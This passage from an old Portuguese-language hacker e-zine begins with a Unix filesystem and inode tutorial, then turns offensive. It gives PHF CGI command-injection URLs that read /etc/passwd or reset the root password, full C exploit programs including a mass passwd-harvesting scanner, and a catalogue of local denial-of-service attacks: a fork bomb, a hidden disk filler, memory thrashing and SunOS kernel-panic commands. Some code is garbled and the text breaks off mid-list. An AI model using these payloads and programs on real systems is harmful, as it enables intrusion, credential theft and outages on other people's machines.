interpre- tador de comandos do Unix (Unix shell). Ele aceita e interpreta comandos chama o nucleo do Unix(Unix Kernel) para executa-los. O nucleo do sistema fica residente na memoria e executa funcoes padroes, como escalonamento, alocacao da memoria e sincronizacao. O interpretador d comando(Shell), pode ler comandos de um terminal ou d um arquivo chamado shell script. Os comandos presentes nesse arquivo, sao ro- dados digitando-se o nome do arquivo(como os .BAT do DOS). [ Sistema de Arquivos ] Assim como o MS-DOS, o Unix tambem fornece a cada usuario uma vista hierarquica dos arquivos e diretorios. Cada usuario tem um diretorio-raiz, o qual pode conter arquivos e outros subdiretorios. Cada subdiretorio por sua vez, pode conter mais arquivos e subdiretorios. Superficialmente, as estruturas hierarquicas d diretorio, do DOS e do Unix diferem muito pouco. Um Sistema de arquivo do Unix, consiste em 4 partes: bloco d inicia- lizacao, superbloco, bloco de dados e uma lista de inodes. - Bloco de Inicializacao: contem um registro do bootstrap usado para ini- cializar(Boot) o sistema operacional. Ele esta tipicamente no primeiro setor do disco. Se o Unix ja tiver sido inicializado a partir de outro disco, o registro de inicializacao nao sera usado. - Superbloco: contem campos que descrevem, o sistema de arquivo(seu tama- nho, numero de inodes livres, numero de blocos d dados livres e a posi- cao do espaco livre. - Bloco d Dados: contem os dados do arquivo. Os tamanhos de bloco variam, mas um valor tipico e 512 bytes(0,5 Kbytes). Vamos adotar esse tamanho como exemplo. - Lista de inodes: Ha um inode para cada arquivo. A lista de inodes, tam- bem chamada ilist, proporciona acesso a arquivos e define a estrutura d diretorio. Os inodes tambem permitem q os usuarios, compartilhem arqui- vos. Basicamente, o inode localiza os blocos de dados do arquivo. Mas tenha cuidado! Isso nao significa q ele contem as posicoes de todos os blocos de dados. Tenha em mente que os arquivos variam em tamanho, e que o Unix de- ve proporcionar acesso a arquivos d diferentes tamanhos. No entanto, a ma- neira como ele faz isso e um tanto incomum... O sistema proporciona acesso a todos os blocos de dados em um arquivo por meio de um unico inode. Pro- porcionar o acesso d arquivos cujos tamanhos variam desde alguns bytes ate varios megabytes, e um grande desafio. Um inode tem ate 13 ponteiros. Os primeiros dez contem as posicoes dos blocos d dados d um arquivo. C houver menos, o Unix usara tantos ponteiros quantos forem necessarios. Logo, os primeiros 10 ponteiros, podem locali- zar 5K(10 blocos * 0,5k) de dados. Mas os arquivos podem ser muito maiores do q isso. Assim, em vez de ligar multiplos inodes, o Unix usa uma aborta- gem indireta. O ponteiro 11, contem uma posicao d um bloco indireto. O bloco de indireto contem ate 128 entradas e cada uma pode conter a posicao do outro bloco de dados. Assim, o bloco indireto pode especificar as posicpes ate 128 outros blocos de dados. Esse bloco de dados adicional permite que os arquivos te- nham ate 5K + 64K = 69Kbytes. Mas espere, isso nao e tudo... O 12 ponteiro inode contem a posiaoo de um segundo bloco indireto. Ele tem 128 entradas, e cada uma delas pode conter a posicao d outro bloco indire- to. Assim, pode haver mais de 128 blocos d indiretos. Cada um por sua vez, pode conter as posicoes de ate 128 blocos de dados. Assim, o segundo bloco indireto permite ao Unix acessar ate mais 128 * 128 = 16.384 blocos, ou mais 8.192 Kbytes de dados. Um arquivo agora pode chegar ate 69K + 8192K = 8261K, ou 8,261 megabytes. Isso e mais do que a maioria dos usuarios precisa, mas nao grande o sufi- ciente para grandes bancos de dados. Felizmente, ha mais um ponteiro de inode. Ele contem a posicao do terceiro bloco indireto. Adivinhe o que ele faz ? O terceiro bloco indireto contem as posicoes de ate mais 128 blocos duplamente indiretos. Cada um deles, conforme descrevemos, contem as posi- coes de ate mais 128 blocos indiretos, e podem localizar ate mais 16.384 blocos de dados. Como o terceiro bloco indireto pode localizar ate 128 blocos duplamente indiretos, ele pode proporcionar acesso ate 128 * 16.384 = 2.097.512 blocos de dados. Isso da um adicional de 1.048.576 bytes, ou mais de 1 gigabyte de dados. Assim, os arquivos do Unix, podem ter ate 1,056837 GB. :P [ Tabelas do Sistema ] Os inodes, fornecem apenas uma parte do qe e necessario para acessar arquivos. Por exemplo, voce pode perguntar: Como o Unix localiza um inode para um determinado arquivo ? A primeira etapa e examinar a tabela de descritor de arquivo. Cada usuario tem uma tabela d descritor, e essa tem uma entrada p/ cada arquivo aberto. As primeiras 3 entradas, numeradas 0, 1 e 2, correspondem aos dispositivos d entrada-padrao, saida-padrao e erro. Isto e, a menos q seja especificado o contrario todas as requisicoes de entrada, saida e erro destinam-se nor- malmente aos arquivos corr... Um usuario, naturalmente, pode abrir mais arquivos. Se ele o fizer, o Unix criara mais entradas na tabela de descritor d arquivo. Originalmen- te cada entrada, aponta para uma entrada na tabela de arquivo do sistema. A tabela d arquivo do sistema contem uma entrada para cada arquivo aberto. Ela difere da tabela d descritor do arquivo porque tem entradas para todos os arqs abertos p/ todos os usuarios. O Unix mantem a tabela do arquivo do sistema na memoria para um acesso mais rapido. Fundamentalmente, suas entradas contem as seguintes informações: 'Posicao do inode. 'Se o arquivo esta aberto para leitura, escrita ou ambos. 'A posicao relativa da ultima transferrncia. Isso permite o acesso sequen- cial. O Unix inicializa em 0 se o arquivo for aberto para escrita. Consequentemente, as solicitacoes d leitura normalmente começam no inicio do arquivo e as solicitacoes de escrita sao feitas a partir do fim do ar- quivo. 'O numero d entradas da tabela de descritor de arquivo que apontam p/ ela. Isso permite ao nucleo saber quantos processos podem estar compartilhando um arquivo aberto. Quando um processo quer ler ou escrever em um arquivo, tem d especi- ficar o numero descritor. O Unix faz o restante do trabalho p/ localizar os dados do arquivo. [ Diretorios do Unix ] Ja dissemos que o Unix mantem uma estrutura de diretorios hierarqui- ca. Porra, use a cabeca... uma questao logica seria: " - Como os inodes definem uma estrutura de diretorio? " Obrigado por perguntar... Basicamente o Unix ve um diretorio exatamente como se fosse outro arquivo. A diferenca esta no conteudo do bloco de dados. Em um arquivo de dados, os blocos de dados contem dados(e o maximo nao? :P ). No entanto, em um dire- torio, eles contem os nomes das entradas e as posicoes de seus inodes. Ha tambem duas entradas extras no bloco de dados do diretorio. Uma e para o proprio diretorio, representada por ".", a outra e para o diretorio-pai, representado por ".." . Em casos especiais, o pai do diretorio raiz e o proprio diretorio raiz. --/ /-- Bem, espero que voces tenham aprendido, ou pelo menos tentado... Duvidas(inteligentes), falhas, comentarios... mail... - mos@thepentagon.com - Subject: Kosmos, Unix. Kosmos <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< - 12 - ----------------------------- - PHF Laming Desmistificado - ----------------------------- Iam Iam ... hmmm.. parece q mesmo apos a refalacao da porra dos bugs d CGI, muitas pessoas ainda continuam a usar a versao bugada do PHF, prin- cipalmente nossos colegas d olhos puxados, do outro lado do mundo. Pior do qe isso: muitas das pessoas nao sabe nem ao menos como exploitar a tal falha, e nem porq ela funciona... ainda ha tempo. Ok lamers, em muitos servidore Apache ainda existe um certo programa cgi-bin chamado PHF. Ele possui um bug... se esse arquivo estiver +x, ele pode ser executado p/ rodar-se comandos remotamente, com os privilegios do usuario rodando o httpd.. geralmente o nobody, mas algumas vezes ate mesmo o root! Ao contrario dq muitos lamers pensam, pode-se fazer muito mais alem d sim- plesmente ler-se o /etc/passwd. Se por exemplo o servidor estiver rodando o servidor httpd como root, pode-se atraves do phf conseguir uma conta na makina. Vamos a uma forma simples d ataque via phf.. Use o seu browser favo- rito.. no caso, vamos usar o bom e velho lynx... Apos a linda tela preto e branco aparecer, tecle 'g'.. vc tera algo como: URL to open: Arrow keys: Up and Down to move. Right to follow a link; Left to go back. H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list Digite: URL to open: http://lamer.org/cgi-bin/phf/?Qalias=x%0aid Arrow keys: Up and Down to move. Right to follow a link; Left to go back. H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list Ele ira retornar: QUERY RESULTS /usr/local/bin/ph -m alias=x id uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup) Aqui nos percebemos que ele esta rodando como usuario nobody.. assim, nos podemos ser o usuario nobody desse sistema... Nos nao somos root, mas: http://lamer.org/cgi-bin/phf/?Qalias=x%0aid O 'id' foi usado d forma a o servidor nos dar a id do usuario. Algumas ve- zes vc tera q informar o path completo do arquivo q vc almeja.. http://lamer.org/cgi-bin/phf/?Qalias=x%0a/usr/bin/id Apos o '%0a' e q realmente inicia-se a linha de comando. Se vc precisar de um espaco, deve-se usar codificado.. ('%20')... Veja alguns comandos q nos sao possiveis: %0a/bin/cat%20/etc/passwd %0als%20-al%20/etc/pass* %0acp%20/etc/passwd%20/etc/passwd.my Pode-se ate mesmo alterar a senha do root.. %0apasswd%20root Lamer, antes de fazer isso, faca um backup do passwd original! Vamos come- car dando um cat no passwd.. URL to open: http://lamer.org/cgi-bin/phf/?Qalias=x%0acat%20/etc/passwd Nos temos: QUERY RESULTS /usr/local/bin/ph -m alias=x cat /etc/passwd root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash bin:*:1:1:bin:/bin: daemon:*:2:2:daemon:/sbin: adm:*:3:4:adm:/var/adm: lp:*:4:7:lp:/var/spool/lpd: sync:*:5:0:sync:/sbin:/bin/sync shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown halt:*:7:0:halt:/sbin:/sbin/halt mail:*:8:12:mail:/var/spool/mail: news:*:9:13:news:/usr/lib/news: uucp:*:10:14:uucp:/var/spool/uucppublic: operator:*:11:0:operator:/root:/bin/bash games:*:12:100:games:/usr/games: man:*:13:15:man:/usr/man: postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash nobody:*:-2:100:nobody:/dev/null: ftp:*:404:1::/home/ftp:/bin/bash guest:*:405:100:guest:/dev/null:/dev/null bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash Vamos agora supor q vc nao quer ter d usar browsers p/ fazer isso... q tal um script? ;) phf.c ------ cut here---- /* Some small changes for efficiency by snocrash. */ /* * cgi-bin phf exploit by loxsmith [xf] * * I wrote this in C because not every system is going to have lynx. Also, * this saves the time it usually takes to remember the syntatical format * of the exploit. Because of the host lookup mess, this will take * approximately 12 seconds to execute with average network load. Be patient. * */ #include #include #include #include #include #include #include int main(argc, argv) int argc; char **argv; { int i = 0, s, port, bytes = 128; char exploit[0xff], buffer[128], hostname[256], *command, j[2]; struct sockaddr_in sin; struct hostent *he; if (argc != 3 && argc != 4) { fprintf(stderr, "Usage: %s command hostname [port]", argv[0]); exit(1); } command = (char *)malloc(strlen(argv[1]) * 2); while (argv[1][i] != '\0') { if (argv[1][i] == 32) strcat(command, "%20"); else { sprintf(j, "%c", argv[1][i]); strcat(command, j); } ++i; } strcpy(hostname, argv[2]); if (argc == 4) port = atoi(argv[3]); else port = 80; if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) { he = gethostbyname(hostname); if (he) { sin.sin_family = he->h_addrtype; memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0], he->h_length); } else { fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname); exit(1); } } sin.sin_family = AF_INET; sin.sin_port = htons((u_short) port); if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) { fprintf(stderr, "%s: could not get socket\n", argv[0]); exit(1); } if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) { close(s); fprintf(stderr, "%s: could not establish connection\n", argv[0]); exit(1); } sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%%0a%s\n", command); free(command); write(s, exploit, strlen(exploit)); while(bytes == 128) { bytes = read(s, buffer, 128); fprintf(stdout, buffer); } close(s); } -------- cut here Para usar: 'phf id xxx.org ' ------

Query Results

/usr/local/bin/ph -m alias=X id

 
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup) 
 outfile

*/

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#ifdef LINUX
#include 
#endif
#include 
#include 
#include 
#include 
#include 
#include 
int FLAG = 1;
int Call(int signo)
{
 FLAG = 0;
}

main (int argc, char *argv[])
{
  char host[100], buffer[1024], hosta[1024],FileBuf[8097];
  int outsocket, serv_len, len,X,c,outfd;
  struct hostent *nametocheck;
  struct sockaddr_in serv_addr;
  struct in_addr outgoing;

  char PHFMessage[]="GET /cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd\n";
  /* yp version...use as needed...*/
/* char PHFMessage[]="GET /cgi-bin/phf?Qalias=x%0a/usr/bin/ypcat%20passwd\n";*/

  while(fgets(hosta,100,stdin))
    {
      if(hosta[0] == '\0')
	break;
      hosta[strlen(hosta) -1] = '\0';
      write(1,hosta,strlen(hosta)*sizeof(char));
	write(1,"\n",sizeof(char));
      outsocket = socket (AF_INET, SOCK_STREAM, 0);
      memset (&serv_addr, 0, sizeof (serv_addr));
      serv_addr.sin_family = AF_INET;
     
      nametocheck = gethostbyname (hosta);

      /* Ugly stuff to get host name into inet_ntoa form */
      (void *) memcpy (&outgoing.s_addr, nametocheck->h_addr_list[0],
		       sizeof (outgoing.s_addr));
      strcpy (host, inet_ntoa (outgoing));
      serv_addr.sin_addr.s_addr = inet_addr (host);
      serv_addr.sin_port = htons (80);
      signal(SIGALRM,Call);
      FLAG = 1;

      alarm(10);    

      X=connect (outsocket, (struct sockaddr *) &serv_addr, sizeof (serv_addr));
      alarm(0);

      if(FLAG == 1 && X==0){
       write(outsocket,PHFMessage,strlen(PHFMessage)*sizeof(char));
       while((X=read(outsocket,FileBuf,8096))!=0)
	  write(1,FileBuf,X);
	}
      close (outsocket);   
    }
  return 0;
}
								    Wiz4rd


<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
				   - 13 -
			   
			    ---------------------
			    - Introducao ao DoS -
			    ---------------------

  Corporate
    Persuasion                     Black Hacker Resources
      Through
	 Internet Terrorism.             News ways to fuck your life up.
  
  [ Introducao ]

	Isso  nao e um "Guia Moderno" de DoS, mesmo porque, DoS  nao e  algo
  moderno. Se os criadores d softwares tivessem a alguns anos atras um pouco
  de originalidade, teriam  percebido os riscos potenciais... so pra citar o
  super-AIX(C2?! HAHA), permite q vc determine o numero d tentativas d log q
  uma conta aceita antes q ela trave.. maravilha.. mande um monte d tentati-
  vas falhas e vc trava o usuario... isso e um DoS...

	Lamers: DoS != DOS, ou seja, nao iremos falar d um sistema operacio-
  nal, mas sim de  um tipo de ataque, o Denial of Service, ou aportuguesada-
  mente, ataque por negacao de servico. Ataques DoS, consiste-se basicamente
  em atacar-se um certo servico, de  forma a geralmente "travar-se"  todo um
  sistema.
  Outro ponto de vista, seria q o DoS e possivel geralmente porque os lamers
  compram coisas pelas quais  nao pagaram, por exemplo, os inumeros  bugs do
  IIS... O interessante do DoS, e que e' um ataque geralmente simples de ser
  lancado, mas de dificil protecao.. No Unix por exemplo, ele ocorre basica-
  mente porque o sistema acha que todos usuarios sao "bem comportados".

	Nao vamos(eu nao quero) entrar em detalhes psico-filosoficos que en-
  volvem um DoS... seja por motivos  religiosos, politicos ou zoacao, o fato
  e q eles ocorrem... Note no entanto, qe muitas vezes um DoS, e parte d al-
  go muito maior, como uma invasao ao sistema. Por exemplo, no famoso ataque
  do IP-spoof, usa-se um flood chamado "syn flooding", que a primeira vista,
  parece apenas um DoS simples.
  O DoS tambem pode servir d forma a neutralizar uma certa maquina, ou impe-
  dir qe certo usuario(o root por exemplo...) logue na maquina e acabe com a
  farra. Imagine as consequencias d um ataque DoS realizado em um router, ou
  em uma firewall... ataca-se 1 computador, mas centenas podem ser neutrali-
  zados instantaneamente.
  

			    -=-=-=-=-[*]-=-=-=-=-

  
  [ Sistemas ]
	 
	 Em materia d DoS, o Windows e realmente "triste"... nao q o Unix ou
 similares escapem... mas por apresentar uma arquitetura mais aberta, e mais
 simples arrumar o Unix, mesmo porq, varias pessoas  no mundo todo usam esse 
 maravilhoso sitema, e estao constantemente aperfeicoando-o.
 Ja Microsoft.. quando tem um furo no Ruindows, deve-se esperar alguns meses
 ate qe Bill Gay decida mecher a bunda e arrumar a falha... muitas vezes is-
 so nem chega a ocorre... o palhaco prefere simplesmente lancar um novo sis-
 tema  operacional, e deixar os otarios q compraram a versao  anteriar com o
 prejuizo... pior ainda... ele nem se da ao trabalho d consertar algumas das
 falhas d seguranca nas novas versoes seguintes!
 Bom... lamers da Microsoft.. esperem pelo proximo ano.. quem sabe o proximo 
 patch (deveria dizer - sistema operacional He He) vem direito... Ja tem ate
 gente dizendo q "- Bill Gates nao faz patches, lanca novos sistemas..".
 Ou seja, a cada falha dele, custa em  media 100 dolares aos lamers...

	De uma forma geral, um DoS bem sucedido depende muito do administra-
  dor do sistema visado.
  O Unix, devido a sua arquitetura aberta, possui inumeras ferramentas q dao
  protecao e monitoracao a ataques DoS, e, geralmente, os administradores de
  sistemas Unix, sao mais familiarizados com o sistema. No entanto, devido a
  essa mesma arquitetura aberta, os "*ix's" possuem inumeras portas e servi-
  cos rodando, oq ja nao e tao bom.
  
  O basico do Ruwin NT pode ser aprendido em algumas horas, isso da uma fal-
  sa impressao d q tem-se dominio do sistema, oq nao  e verdade.. acho q nem
  os proprios criadores do NT tem domino sobre ele  =)
  
  Ao que  parece e pelo que eu tenho  visto, o Unix e mais seguro no que diz
  respeito a ataques locais. Ja o NT, sobrevive bem em ataques remotos, pois
  tem bem menos daemons e servicos rodando. Mas... quando a coisa e local, o
  NT e um desastre (...).
  
  Quando  um ataque DoS e bem sucedido, o computador alvo, podera sofrer va-
  rias consequencias q incluem: mensagens de panico apresentadas no console,
  arquivos dump ou core serao escritos no disco, x-windows sera abortado, um
  travamento  total do sistema.... Geralmente o host ira simplesmente execu-
  tar um boot  :)
	
	Para ter-se certeza dq o servidor realmente caiu, existem varios me-
  todos, o mais simples  e o meu  preferio e o 'ping'. Como voce sabe, o que
  ele ira fazer e basicamente enviar pacotes d rede do tipo ECHO_REQUEST...
  Alguns servidores bloqueiam pacotes ping, mas isso e raro...
       
       Varias das tecnicas de DoS, q irei mostrar aki, eu selecionai de fon-
  tes, textos, entre  outros... Algumas eu mesmo fiz... e tal.. 
  

			    -=-=-=-=-[*]-=-=-=-=-


  [ 1. - DoS Local ]

       O DoS Local, e um ataque denial of service, q para poder ser executa-
  do e necessari o estar-se logado ao  sistema, ou seja, nao  pode ser feito
  remotamente.


  [ 1.1 DoS Local - Sistemas Nao Especificos *ix's ]

  (1). X-Server

	Se o stickybit nao estiver setado no /tmp, entao voce pode remover o
  arquivo /tmp/.x11-unix/x0, e o x-server cai.

	$ rm /tmp/.x11-unix/x0

  
  (2). Lotando HD

	Se seu espaco d HD nao foi limitado pelo admin, vc pode por exemplo
  criar alguns diretorios e travar todo um sistema... nos *ix's eu recomendo
  usar-se o /tmp p/ isso.
  Ex:
	while : ; 
	mkdir .xxx
	cd .xxx
	done


  (3). Uso fodido d eval

	Alguns sistemas  antigos iram pendurar  se eval '\!\!' for executado
  no C-shell.
  Ex:
	% eval '\!\!'
	
  
  (4). Uso fodido d fork ()

	Varios sistemas, principalmente os mais antigos irao travar com esse
  simples programinha.
  Ex:
	   
  main()
  {
   while(1)
     fork();    /* Diabinhos substituam isso por sync hehehe */
  }

       Se nao for visto a tempo pelo admin, o sistema cai. Basicamente, o qe
  ele faz e  expandir-se  na memoria, criando  outro processo de si mesmo...
  Esse ataque e dificil de parar, pois mesmo que se mate os outros processos
  ja comecados, ainda existirao outros.
       Versoes recentes do sistema, ja estao imunes a esse ataque, pois ago-
  ra os usuarios podem ter apenas um numero maximo de processos rodando, mas
  o root nao segue essa regra, ou seja, c vc rootear uma makina, ainda pode
  trava-la e o admin idiota nao vai nem saber oq aconteceu...
  
  A maioria dos Unix's, possuem o numero maximo d processos por usuario, es-
  tipulados no  kernel, no entanto o Solaris, deixa esse valor ser setado na
  hora do boot. A variavel responsavel por isso, chama-se 'MAXUPROC', e pode
  ser ascessada em /etc/systems. Geralmente ela estara como 'maxuproc=100' .
  Mas, se vc tiver varias contas no sistema, ainda assim podera travar a ma-
  kina.
  
       A existencia d muitos processos, realmente e um desafio pra os admins
  consertarem  sem poderem dar boot na makina, pois nao adianta rodar o ps e
  ver quais processos matar, e c vc nao estiver logado como root, nao podera
  rodar o 'su' ou o 'login' pois essas funcoes requerem que  e sejam criados
  novos processos, e o sistema estara sobrecarregado.
  Como nossos admins nao sao tao bobinhos, eles sabem q nao e legal simples-
  mente puxar o fio da  tomada ou tacar o dedao no reset, pois trabalhos nao
  salvos serao  perdidos, e varios blocos de dados podem ser apagados ou mm.
  danificados. Assim, so resta ao nosso paciente administrador comecar a ma-
  tar os processos no escuro, ou seja chutando mesmo..
  Agora, c o sistema aceitar, ele pode tentar um 'kill -TERM -1', o qe envia
  um SIGTERM p/ todos os processos, menos os do root e do sistema.  =)

  NOTA: A equipe da MOS desenvolveu um programa capaz de anular a acao desse
  programa. Mas, somos egoistas d mais pra publicar o estupido codigo aqui..
  Caso vc c interesse, escreva-nos q teremos prazer em lhe auxiliar.


  (5). Ataques ao disco
  
       Outro metodo antigo de ataque, e o de simplesmente lotar o HD do sis-
  tema com merda...

  A primeira forma d c realizar isso, pode ser usada em computadores q rodam
  24hs por dia. Oq o codigo abaixo faz, e criar  e manter aberto um arquivo,
  mantendo-o dessa forma invisivel ao 'du' ou 'find', mas mesmo assim, ainda
  ocupando espaco em disco. Isso se deve ao fato de qe arquivos nao-linkados
  nao estao na arvore  do diretorio, ainda... mas mesmo assim, ja ocupam es-
  paco em disco.

  /*
    fillup.c
  */
    
  #include 
  #include 

  main()
  {
   int ifd;
   chat buf[8192];
     ifd= open("./attack", O_WRITE| O_CREAT, 0777);
     unlink("/.attack");
     while(1)
       write(ifd,buf, sizeof9buf));
  }

  Apos criar o arquivo, esse programa inicia um loop infinito, que ira lotar
  o disco, e impedir qualquer coisa de ser trabalhada, pois o HD estara pre-
  enchido. Imagina a  cara do palhaco quando tentar todos os metodos que ele
  aprendeu na faculdade, e nao encontrar o dito arquivo =)
  Para pisar mais na merda, rode o dito cujo em background, e use varias co-
  pias  hehehe... Okz... use a porra  do cerebro, ao inves de roda-lo varias
  vezes, use o que vc aprendeu... insira um fork() no meio do codigo e deixe
  q o programa aumente-se sozinho.


       Mas nao acabou! Ainda existem centenas de outros metodos hehe.. vamos
  analiza-los... um eu chamo d "Joao e o Pe de Feijao"... esse metodo e sim-
  ples, e a negada roda ele no DOS(o sistema operacional) pra ferrar os HD's
  d uns palhacos.. bom... vamos basicamente criar uma arvore tao grande, que
  nem Deus sera capaz d apaga-la..

  #!/bin/sh
   mkdir MOS
    cd MOS

  Eu sei oq vc esta pensando, mas em alguns sistemas, o 'rm -r' nao sera ca-
  paz d deletar uma arvore tao grande, devido ao fato de ocorrer um risco de
  buffer  overflow, pois a abertura  de tantos "arquivos" ao mesmo tempo ira
  sobrecarregar o sistema  :) .
  Algo ainda mais perverso contra isso, seria  simplesmente bolar um progra-
  minha que ira criar um diretorio de nome aleatorio, isso ira prevenir pos-
  siveis scripts lamers de simplesmente irem apagando nivel por nivel de sua
  arvore satanica :P  Isso vcs q facam...
  
  NOTA: A equipe da MOS desenvolveu um programa capaz de anular a acao desse
  programa. Mas, somos egoistas d mais pra publicar o estupido codigo aqui..
  Caso vc c interesse, escreva-nos q teremos prazer em lhe auxiliar.

  Outra forma de  lotar o winchester e o  seguinte, em muitos sistemas Unix,
  tanto usuarios como programas, criam arqs. d tamanho ilimitado no /tmp, p/
  uso temporario. Bom, simplesmente  use-se disso, e rode os programas nesse
  diretorio...


	Vc tb pode criar arquivos q sao um "chute no saco" pra serem removi-
  dos..
  Ex:
	$ cat > -xxx
	^C
	$ ls
	-xxx
	$ rm -xxx
	rm: illegal option -- x
	rm: illegal option -- x
	rm: illegal option -- x
	usage: rm [-fiRr] file ...
	$

  Ex:
	$ touch xxx!
	$ rm xxx!
	rm: remove xxx! (yes/no)? y
	$ touch xxxxxxxxx!
	$ rm xxxxxxxxx!
	bash: !": event not found
	$

  
  (6). Ataque CSH

	Okz, inicie seu maravilhoso /bin/csh e vamos gastar  uns 100% de cpu
  nisso aki..
  Ex:
	|I /bin/csh
	nodename : **************b

  
  (7). Atacando o RESOLV_HOST_CONF

	Alguns sistemas possuem essa pequena falha d seguranca na medida que
  usam a variavel  RESOLV_HOST_CONF. Nos podemos  colocar algumas  coisinhas
  nessa  variavel e usar o ping para modifica-las ou pendurar o sistema. Por
  exemplo, varios sistemas  pendurar se  o /proc/kcore for lido via  ascesso
  ping.
  Ex:
	$ export RESOLV_HOST_CONF="/proc/kcore" ; ping asdf

  
  (8). Manipulando a memoria

	DoS qe manipulem a memoria podem ser catastroficos... existem varias
  coisas q podem ser feitas.
  Ex:
	- Alocar uma enorma quantia de RAM, ou toda a qe o sistem permitir.
	Um loop com malloc () resolveria o caso.

	- Escrever  direto  em /dev/kmem pode  ocasionar muitos  problemas.

	- Alocacao de memoria do kernel tb pode ser feita.. o kernel possui
	um limte d alocacao("kernelmap"), se o sistema chegar nesse limite,
	nao podera alocar mais nada e simplesmente pendura. Essa memoria do
	kernel e usada como RAM, impressao de video e outras coisas banais.

	- Ler-se uma grande quantidade de memoria de forma  muito lenta ira
	reduzir a velocidade d processamento do sistema.

  
  (9). Pentium Bug

	Todo mundo ja esta por dentro do  bug do Pentium... bom.. rode o seu
  respectivo exploit q o sistema ira travar... :P  Nada de logs nem nada.. o
  admin nem ira saber oq aconteceu.


  (10). /dev/kmem fuck off

	Apenas ler direto  do /dev/kmem pode  travar todo o sistema  se voce
  tem ascesso d leitura apenas, registrado no kernel.. hmmm..
  Ex:
	cat /dev/kmem >/dev/null


  (11). Travando Unix's

	Isso e um contorno em relacao ao DoS vai fork(), pois funciona mesmo
  q vc tenha um limite d processos por/user.
  Ex:

  #define BIGNUM 128*1024*1024
  #define PAGESIZE 4*1024
   
   char eatmem[BIGNUM];
  
  main()
  {
    for (i=0 ; i += PAGESIZE ; i < BIGNUM) ++eatmem[i];
  }
	Define-se BIGNUM como sendo uma grande quantia REAL de memoria que o
  sistema lhe permitira obter em seu limite DATASIZE. Alternativamente, voce
  poderia mallocar a memora ao inves d faze-la estatica, e envia-la para seu
  limite MEMORYSE.
  Define PAGESIZE como  sendo o tamanho  da memoria em  paginas da pagina da
  swap do seu sistema. Entao:

	Now comes the fun part:
  mos% cc thrash.c
  mos% a.out

  Esse programa ira alocar uma grd. quantia d memoria e ira le-la de forma a
  fazer a swapper  realizar uma page-in p/ *CADA ASCESSO*. Isso reduz o sis-
  tema a um quase crash.
	He He.. vc pode ainda  malloc () 512k, e mais 512k e mais  e mais...
  assumindo-se q vc nao tenha  um limite 'memoryuse', voce ira cair devido a
  falta d espaco da swap:

  PANIC: out of swap space
  

  
  (12). Shell scripts

	Existem alguns scripts q se executados d forma correta podem ocasio-
  nar alguns probleminhas. Por exemplo, crie um arq. e dentro dele apenas:

  $0
  
  Faca-o executavel e rode-o.. ele ira contiamente a se expadir, como no DoS
  fork (). Um simples ^C pode interromper.
  Vc tb poderia ao inves disso, colocar:

  $0 &

  O sistema ira rastejar he he.. voce pode parar isso simplesmente removendo
  ou movendo o arquivo d lugar.

  
  (13). Syste V 2.2

	Em sistemas unix Syste v Release 2.2, pode-se trava-lo facilmente.
  Ex:
	cat /dev/tty

  O mesmo ocorre em relacao a outros devices.


			    -=-=-=-=-[*]-=-=-=-=-
    

  [ 1.2 DoS Local - SunOS/Solaris ]

  (1). SunOS 4.x & DoS via Background

	Coloque a string "a&" em um arquivo chamado "a" e sete-o em +x. Rode
  o arquivo... crash  total =)

  
  (2). SunOS 4.1.x & trap_mon

	Executar-se a instrucao trap_mon a partir do modo usuario, pode oca-
  sionar kernel panic em SunOS 4.1.x, arquitetura sun4c.

  
  (3). SunOS 4.1.x & tmpfs

	Se o /tmp for  um filesystem tmpfs, qualquer  usuario pode causar um
  kernel panic em SunOS 4.1.x.
  Ex:
	$ cd /tmp
	$ /usr/etc/mknod fifo p
	$ ln fifo link
	$ ls -ClFg link fifo

  
  (4). SunOS 4.1.x & pathconf ()

	Se /cdrom for um  filesystem hsfs, qualquer usuario  pode causar  um
  kernel panic c/ esse exploit..
  Ex:
  
  #include 
  main()
  { pathconf("/cdrom", 0); }

  
  (5). SunOS 4.0.x &  df

	Essas versoes do SunOS podem ser travadas com o 'df'.
  Ex:
	$ df /dev/*b       ->  (particao da swap)

  
  (6). SunOS 4.0.3 & rmdir

	Alguns sistemas rodando SunOS 4.0.3  podem sofrer um kernel pancis c
  vc realizar um rmdir em um diretorio q nao  existe.

  
  (7). SunOS 3.2 & link ()

	Em SunOS 3.2, pode-se  travar a makina passando-se uma string  vazia
  como um argumento (nao me lembro qual..) p/ a chamada link ().

  (8). SunOS 3.4 (eu acho...) & cat

	Nao tenho certeza dessa versao.. mas vc pode travar o sistema facil-
  mente.
  Ex:
	cat /etc/motd /dev/printer
  

  (9). Directory Name Lookup Cache

	DNLC e usado toda vez que um arquivo e aberto. Ele associa o nome de
  um arquivo a um  vnode. No entanto, ele pode operar apenas em arquivos cu-
  jos nomes possuem ate uma quantia N de caracteres (SunOS 4.x ate 14, e So-
  laris 2.x 30.). DoS hehe..
  Crie aproximadamente uns  20 diretorios, e coloque  10 arqs vazios em cada
  um deles. Cada nome  deve ser maior que  30 caracteres, a seguir, rode  um
  script q ira dar um 'ls -la' nos diretorios.
  Caso nao funcione, crie mais arquivos e tente de novo.
 
  
  (10). Solaris 2.x & NFS

	Se um  processo estiver  escrevendo sob um NFS e o usuario chegar ao
  fim d sua quota  em disco, o processo entra num loop infinito.

  
  (11). Solaris 2.3

	Tais sistemas penduram (kernel panic) da seguinte forma.
  Ex:
